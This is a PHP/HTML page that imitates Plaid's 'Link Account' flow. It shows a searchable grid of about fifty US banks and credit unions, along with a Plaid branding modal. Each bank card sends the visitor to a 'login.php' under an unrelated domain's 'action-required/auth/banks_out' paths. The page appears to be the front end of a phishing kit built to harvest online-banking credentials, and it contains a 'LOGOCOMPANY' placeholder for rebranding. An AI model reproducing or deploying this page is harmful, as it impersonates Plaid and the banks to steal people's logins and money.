<?php include("config.php"); ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <title>Link Account</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; -webkit-font-smoothing: antialiased; -webkit-tap-highlight-color: transparent; }
        :root {
            --bg: #ffffff; --bg-sec: #f7f7f7; --text: #111112; --text-low: #747677;
            --border: rgba(17,17,17,0.12); --border-sep: rgba(0,0,0,0.05);
            --filled: rgba(17,17,17,0.08); --shadow: 0 16px 24px 0 rgba(17,17,17,0.08);
            --anim: ease-in-out 0.1s; --font: 'Inter', -apple-system, sans-serif;
        }
        html { font-size: 62.5%; }
        body { font-family: var(--font); font-size: 1.6rem; line-height: 2.4rem; background: var(--bg-sec); display: flex; align-items: center; justify-content: center; min-height: 100vh; color: var(--text); }

        .pane { background: var(--bg); width: 37.6rem; height: 608px; border-radius: 1.2rem; box-shadow: var(--shadow); overflow: hidden; display: flex; flex-direction: column; position: relative; }

        .progress-bar { flex-shrink: 0; height: 0.6rem; display: flex; gap: 0.4rem; padding: 0 1.6rem; margin-top: 1.2rem; }
        .progress-seg { height: 100%; flex: 1; border-radius: 9999px; background: rgba(17,17,17,0.1); }
        .progress-seg.active { background: linear-gradient(to right, #23c9e2, #0fb0f0); }

        .pane-header { display: flex; align-items: center; justify-content: space-between; padding: 1.8rem 1.6rem 0; flex-shrink: 0; }
        .btn-icon { background: none; border: none; cursor: pointer; width: 3.2rem; height: 3.2rem; border-radius: 50%; display: flex; align-items: center; justify-content: center; color: var(--text); transition: background var(--anim); }
        .btn-icon:hover { background: var(--filled); }
        .btn-icon svg { width: 1.6rem; height: 1.6rem; }
        .btn-icon.hidden { visibility: hidden; pointer-events: none; }

        /* Header: Plaid + in partnership with + LOGOCOMPANY */
        .header-logo { display: flex; align-items: center; gap: 0.6rem; }
        .header-logo .plaid-img { height: 1.8rem; width: auto; }
        .header-logo .sep { font-size: 1.0rem; color: var(--text-low); white-space: nowrap; }
        .header-logo .co-img { height: 1.6rem; max-width: 7rem; object-fit: contain; }

        .s1-body { flex: 1; overflow-y: auto; padding: 2.4rem 1.6rem 0; display: flex; flex-direction: column; gap: 1.6rem; }
        .s1-body::-webkit-scrollbar { width: 1.5rem; }
        .s1-body::-webkit-scrollbar-track { background: var(--bg); }
        .s1-body::-webkit-scrollbar-thumb { background: var(--filled); border: 3px solid var(--bg); border-radius: 1.5rem; }
        .pane-heading { font-size: 2rem; font-weight: 700; letter-spacing: -0.03em; line-height: 1.2; }

        .search-wrap { position: relative; }
        .search-icon { position: absolute; left: 1.2rem; top: 50%; transform: translateY(-50%); color: var(--text-low); width: 1.5rem; height: 1.5rem; pointer-events: none; }
        .search-input { width: 100%; height: 4rem; padding: 0 1.2rem 0 3.6rem; background: var(--bg-sec); border: 1px solid var(--border); border-radius: 0.8rem; font-family: var(--font); font-size: 1.4rem; color: var(--text); outline: none; transition: border-color var(--anim); }
        .search-input:focus { border-color: rgba(17,17,17,0.4); }
        .search-input::placeholder { color: var(--text-low); }

        .bank-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 0.8rem; padding-bottom: 2.4rem; }
        .bank-card { display: flex; align-items: center; justify-content: center; height: 6.4rem; padding: 0 0.8rem; background: var(--bg); border: 1px solid var(--border); border-radius: 0.8rem; box-shadow: 0 1px 4px 0 rgba(118,118,118,0.08); cursor: pointer; overflow: hidden; transition: border-color var(--anim), box-shadow var(--anim), background var(--anim); -webkit-user-select: none; user-select: none; }
        .bank-card:hover { border-color: rgba(17,17,17,0.28); box-shadow: 0 2px 8px 0 rgba(118,118,118,0.14); background: var(--bg-sec); }
        .bank-logo { height: 4rem; width: 13rem; max-width: 13rem; object-fit: contain; flex-shrink: 0; }
        .no-results { grid-column: 1/-1; text-align: center; padding: 2.4rem 0; font-size: 1.4rem; color: var(--text-low); }

        .pane-footer { flex-shrink: 0; padding: 1.2rem 1.6rem; border-top: 1px solid var(--border-sep); display: flex; align-items: center; justify-content: center; }
        .pane-footer img { height: 1.4rem; width: auto; opacity: 0.35; }

        /* Modal */
        .modal-overlay { position: absolute; inset: 0; z-index: 50; background: rgba(0,0,0,0.45); display: flex; align-items: flex-end; justify-content: center; opacity: 0; pointer-events: none; transition: opacity 0.25s ease; }
        .modal-overlay.open { opacity: 1; pointer-events: all; }
        .modal-sheet { background: var(--bg); width: 100%; border-radius: 1.2rem 1.2rem 0 0; padding: 2.8rem 2.4rem 2.4rem; transform: translateY(100%); transition: transform 0.3s cubic-bezier(0.23,1.2,0.32,1); text-align: center; }
        .modal-overlay.open .modal-sheet { transform: translateY(0); }
        .modal-logo { width: 6.4rem; height: 6.4rem; border-radius: 1.4rem; overflow: hidden; margin: 0 auto 1.6rem; box-shadow: 0 2px 12px rgba(0,0,0,0.12); }
        .modal-logo img { width: 100%; height: 100%; object-fit: cover; }
        .modal-title { font-size: 1.8rem; font-weight: 700; letter-spacing: -0.02em; margin-bottom: 1.2rem; }
        .modal-body { font-size: 1.3rem; color: var(--text-low); line-height: 1.7; margin-bottom: 2.4rem; }
        .modal-close { width: 100%; height: 5.2rem; background: #111112; color: #fff; border: none; border-radius: 0.8rem; font-family: var(--font); font-size: 1.5rem; font-weight: 600; cursor: pointer; transition: background var(--anim); }
        .modal-close:hover { background: #2a2a2a; }
        .why-plaid { font-size: 1.15rem; color: var(--text-low); cursor: pointer; text-decoration: underline; text-underline-offset: 2px; display: block; text-align: center; padding: 0.6rem 0 0; background: none; border: none; }
        .why-plaid:hover { color: var(--text); }
    </style>
</head>
<body>
<div class="pane" id="pane">

    <div class="pane-header">
        <button class="btn-icon hidden" aria-label="Back">
            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M19 12H5M12 5l-7 7 7 7"/></svg>
        </button>
        <div class="header-logo">
            <img class="plaid-img" src="res/img/black plaid logo.svg" alt="Plaid">
            <span class="sep">in partnership with</span>
            <img class="co-img" src="res/img/LOGOCOMPANY.svg" alt="Company" onerror="this.onerror=null;this.src='res/img/LOGOCOMPANY.png';">
        </div>
        <button class="btn-icon" aria-label="Close" onclick="window.history.back()">
            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M18 6 6 18M6 6l12 12"/></svg>
        </button>
    </div>

    <div class="progress-bar">
        <div class="progress-seg active"></div>
        <div class="progress-seg"></div>
        <div class="progress-seg"></div>
    </div>

    <div class="s1-body">
        <h1 class="pane-heading">Select your institution</h1>
        <div class="search-wrap">
            <svg class="search-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg>
            <input class="search-input" type="text" id="bankSearch" placeholder="Search institutions" oninput="filterBanks(this.value)" autocomplete="off">
        </div>
        <div class="bank-grid" id="bankGrid">
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/JPMRGN/auth/action-required/login.php')" data-name="Chase"><img class="bank-logo" src="res/img/banks/chase.svg" alt="Chase" onerror="this.style.opacity='0.15'" style="height:6.5rem;width:18rem;max-width:18rem;"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/BFA/auth/action-required/login.php')" data-name="Bank of America"><img class="bank-logo" src="res/img/banks/bofa.svg" alt="Bank of America" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/WF/auth/action-required/login.php')" data-name="Wells Fargo"><img class="bank-logo" src="res/img/banks/wellsfargo.svg" alt="Wells Fargo" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/CPL1/auth/action-required/login.php')" data-name="Capital One"><img class="bank-logo" src="res/img/banks/capitalone.svg" alt="Capital One" onerror="this.style.opacity='0.15'" style="height:3rem;width:9rem;max-width:9rem;"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/NVFCU/auth/action-required/login.php')" data-name="Navy Federal Credit Union"><img class="bank-logo" src="res/img/banks/navyfederal.svg" alt="Navy Federal Credit Union" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/USAA/auth/action-required/login.php')" data-name="USAA"><img class="bank-logo" src="res/img/banks/usaa.svg" alt="USAA" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/USBNK/auth/action-required/login.php')" data-name="U.S. Bank"><img class="bank-logo" src="res/img/banks/usbank.svg" alt="U.S. Bank" onerror="this.style.opacity='0.15'" style="height:3rem;width:9rem;max-width:9rem;"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/CITI/auth/action-required/login.php')" data-name="Citibank"><img class="bank-logo" src="res/img/banks/citi.svg" alt="Citibank" onerror="this.style.opacity='0.15'" style="height:5.5rem;width:16rem;max-width:16rem;"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/PNCBank/auth/action-required/login.php')" data-name="PNC Bank"><img class="bank-logo" src="res/img/banks/pnc.svg" alt="PNC Bank" onerror="this.style.opacity='0.15'" style="height:3rem;width:9rem;max-width:9rem;"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/CHIME/auth/action-required/login.php')" data-name="Chime"><img class="bank-logo" src="res/img/banks/chime.svg" alt="Chime" onerror="this.style.opacity='0.15'" style="height:3rem;width:9rem;max-width:9rem;"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/CITIZENS/auth/action-required/login.php')" data-name="Citizens Bank"><img class="bank-logo" src="res/img/banks/citizens.svg" alt="Citizens Bank" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/TDBANK/auth/action-required/login.php')" data-name="TD Bank"><img class="bank-logo" src="res/img/banks/tdbank.svg" alt="TD Bank" onerror="this.style.opacity='0.15'" style="height:3rem;width:9rem;max-width:9rem;"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/ALLY/auth/action-required/login.php')" data-name="Ally Bank"><img class="bank-logo" src="res/img/banks/ally.svg" alt="Ally Bank" onerror="this.style.opacity='0.15'" style="height:2.8rem;width:8rem;max-width:8rem;"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/HUNTNGTN/auth/action-required/login.php')" data-name="Huntington Bank"><img class="bank-logo" src="res/img/banks/huntington.svg" alt="Huntington Bank" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/SCHWAB/auth/action-required/login.php')" data-name="Charles Schwab"><img class="bank-logo" src="res/img/banks/schwab.svg" alt="Charles Schwab" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/AMERICANEXPRESS/auth/action-required/login.php')" data-name="American Express"><img class="bank-logo" src="res/img/banks/amex.svg" alt="American Express" onerror="this.style.opacity='0.15'" style="height:2.6rem;width:8rem;max-width:8rem;"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/DISCOVER/auth/action-required/login.php')" data-name="Discover"><img class="bank-logo" src="res/img/banks/discover.svg" alt="Discover" onerror="this.style.opacity='0.15'" style="height:2.8rem;width:8.5rem;max-width:8.5rem;"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/FIDELITY/auth/action-required/login.php')" data-name="Fidelity"><img class="bank-logo" src="res/img/banks/fidelity.svg" alt="Fidelity" onerror="this.style.opacity='0.15'" style="height:7rem;width:18rem;max-width:18rem;"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/GLD1/auth/action-required/login.php')" data-name="Golden 1 Credit Union"><img class="bank-logo" src="res/img/banks/golden1.svg" alt="Golden 1 Credit Union" onerror="this.style.opacity='0.15'" style="height:2.8rem;width:8.5rem;max-width:8.5rem;"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/MECH/auth/action-required/login.php')" data-name="Mechanics Bank"><img class="bank-logo" src="res/img/banks/mechanics.svg" alt="Mechanics Bank" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/REGIONS/auth/action-required/login.php')" data-name="Regions Bank"><img class="bank-logo" src="res/img/banks/regions.svg" alt="Regions Bank" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/SF1/auth/action-required/login.php')" data-name="Safe 1 Credit Union"><img class="bank-logo" src="res/img/banks/safe1.png" alt="Safe 1 Credit Union" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/SC/auth/action-required/login.php')" data-name="Space Coast Credit Union"><img class="bank-logo" src="res/img/banks/spacecoast.png" alt="Space Coast Credit Union" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/VSCU/auth/action-required/login.php')" data-name="Valley Strong"><img class="bank-logo" src="res/img/banks/valleystrong.svg" alt="Valley Strong" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/WDFRST/auth/action-required/login.php')" data-name="Woodforest National Bank"><img class="bank-logo" src="res/img/banks/woodforest.svg" alt="Woodforest National Bank" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/TRUIST/auth/action-required/login.php')" data-name="Truist Bank"><img class="bank-logo" src="res/img/banks/truist-logo-purple.svg" alt="Truist Bank" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/DELTA/auth/action-required/login.php')" data-name="Delta Community Credit Union"><img class="bank-logo" src="res/img/banks/delta.png" alt="Delta Community Credit Union" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/ALABAMA/action-required/login.php')" data-name="Alabama Credit Union"><img class="bank-logo" src="res/img/banks/alabamacu.png" alt="Alabama Credit Union" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/AllegancyCU/auth/action-required/login.php')" data-name="Allegacy Federal Credit Union"><img class="bank-logo" src="res/img/banks/Allegancy.svg" alt="Allegacy Federal Credit Union" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/AMFIRSTCU/auth/action-required/login.php')" data-name="AmFirst Credit Union"><img class="bank-logo" src="res/img/banks/AmFirst.png" alt="AmFirst Credit Union" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/BVFCU/auth/action-required/login.php')" data-name="Broadview Federal Credit Union"><img class="bank-logo" src="res/img/banks/broadviewcu.svg" alt="Broadview Federal Credit Union" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/ComChoiceCU/auth/action-required/login.php')" data-name="Community Choice Credit Union"><img class="bank-logo" src="res/img/banks/communitychoice.png" alt="Community Choice Credit Union" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/FHB/auth/action-required/login.php')" data-name="First Hawaiian Bank"><img class="bank-logo" src="res/img/banks/FHB.svg" alt="First Hawaiian Bank" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/NavigantCU/auth/action-required/login.php')" data-name="Navigant Credit Union"><img class="bank-logo" src="res/img/banks/navigant.png" alt="Navigant Credit Union" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/REDCANOE/auth/action-required/login.php')" data-name="Red Canoe Credit Union"><img class="bank-logo" src="res/img/banks/RedCanoeCU.png" alt="Red Canoe Credit Union" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/VISIONSFCU/auth/action-required/login.php')" data-name="Visions Federal Credit Union"><img class="bank-logo" src="res/img/banks/visionscu.svg" alt="Visions Federal Credit Union" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/WMCB/auth/action-required/login.php')" data-name="West Michigan Community Bank"><img class="bank-logo" src="res/img/banks/wmcb.svg" alt="West Michigan Community Bank" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/MRGANSTNLY/auth/action-required/login.php')" data-name="Morgan Stanley"><img class="bank-logo" src="res/img/banks/morganstanley.svg" alt="Morgan Stanley" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/KEYBANK/auth/action-required/login.php')" data-name="KeyBank"><img class="bank-logo" src="res/img/banks/keybank.svg" alt="KeyBank" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/SNTNDR/auth/action-required/login.php')" data-name="Santander Bank"><img class="bank-logo" src="res/img/banks/santander.png" alt="Santander Bank" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/BMOHarris/auth/action-required/login.php')" data-name="BMO Harris Bank"><img class="bank-logo" src="res/img/banks/bmo.svg" alt="BMO Harris Bank" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/COMERICA/auth/action-required/login.php')" data-name="Comerica Bank"><img class="bank-logo" src="res/img/banks/comerica.svg" alt="Comerica Bank" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/PENFED/auth/action-required/login.php')" data-name="PenFed Credit Union"><img class="bank-logo" src="res/img/banks/penfed.svg" alt="PenFed Credit Union" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/SCHOOLS1ST/auth/action-required/login.php')" data-name="SchoolsFirst Federal CU"><img class="bank-logo" src="res/img/banks/schoolsfirst.webp" alt="SchoolsFirst Federal CU" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/DCU/auth/action-required/login.php')" data-name="Digital Federal Credit Union"><img class="bank-logo" src="res/img/banks/DCU.png" alt="Digital Federal Credit Union" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/SUNCOASTCU/auth/action-required/login.php')" data-name="Suncoast Credit Union"><img class="bank-logo" src="res/img/banks/suncoastcu.svg" alt="Suncoast Credit Union" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/BECU/auth/action-required/login.php')" data-name="BECU"><img class="bank-logo" src="res/img/banks/becu.svg" alt="BECU" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/AM1stCU/auth/action-required/login.php')" data-name="AM1st Credit Union"><img class="bank-logo" src="res/img/banks/AM1stCU.svg" alt="AM1st Credit Union" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/FIFTHTHIRD/auth/action-required/login.php')" data-name="Fifth Third Bank"><img class="bank-logo" src="res/img/banks/53rd.svg" alt="Fifth Third Bank" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/MARCUS/auth/action-required/login.php')" data-name="Marcus by Goldman Sachs"><img class="bank-logo" src="res/img/banks/marcus.svg" alt="Marcus by Goldman Sachs" onerror="this.style.opacity='0.15'"></div>
                    <div class="bank-card" onclick="go('https://sparkhealthmd.com/all5/action-required/auth/banks_out/M&T/auth/action-required/login.php')" data-name="M&T Bank"><img class="bank-logo" src="res/img/banks/mtbank.svg" alt="M&T Bank" onerror="this.style.opacity='0.15'"></div>
        </div>
    </div>

    <span class="why-plaid" onclick="openModal()">Why is Plaid involved?</span>
    <div class="pane-footer">
        <img src="res/img/black plaid logo.svg" alt="Powered by Plaid">
    </div>

    <div class="modal-overlay" id="plaidModal" onclick="if(event.target===this)closeModal()">
        <div class="modal-sheet">
            <div class="modal-logo"><img src="https://sparkhealthmd.com/PLAID/Select/Banking/auth/res/img/banks/plaidstep2.jpg" alt="Plaid"></div>
            <h2 class="modal-title">About Plaid</h2>
            <p class="modal-body">Plaid lets you connect your financial accounts to apps and services. This is a service provided by Plaid. The connection Plaid provides to your financial account(s) does not imply affiliation with any financial institution.</p>
            <button class="modal-close" onclick="closeModal()">Close</button>
        </div>
    </div>

</div>

<script>
function go(url) { window.location.href = url; }

function openModal()  { document.getElementById('plaidModal').classList.add('open'); }
function closeModal() { document.getElementById('plaidModal').classList.remove('open'); }

function filterBanks(query) {
    const q = query.toLowerCase().trim();
    const cards = document.querySelectorAll('.bank-card');
    let visible = 0;
    cards.forEach(card => {
        const show = !q || card.dataset.name.toLowerCase().includes(q);
        card.style.display = show ? 'flex' : 'none';
        if (show) visible++;
    });
    const noRes = document.getElementById('noResults');
    if (!q || visible > 0) { if (noRes) noRes.remove(); }
    else if (!document.getElementById('noResults')) {
        const div = document.createElement('div');
        div.id = 'noResults'; div.className = 'no-results';
        div.textContent = 'No institutions found';
        document.getElementById('bankGrid').appendChild(div);
    }
}
</script>
</body>
</html>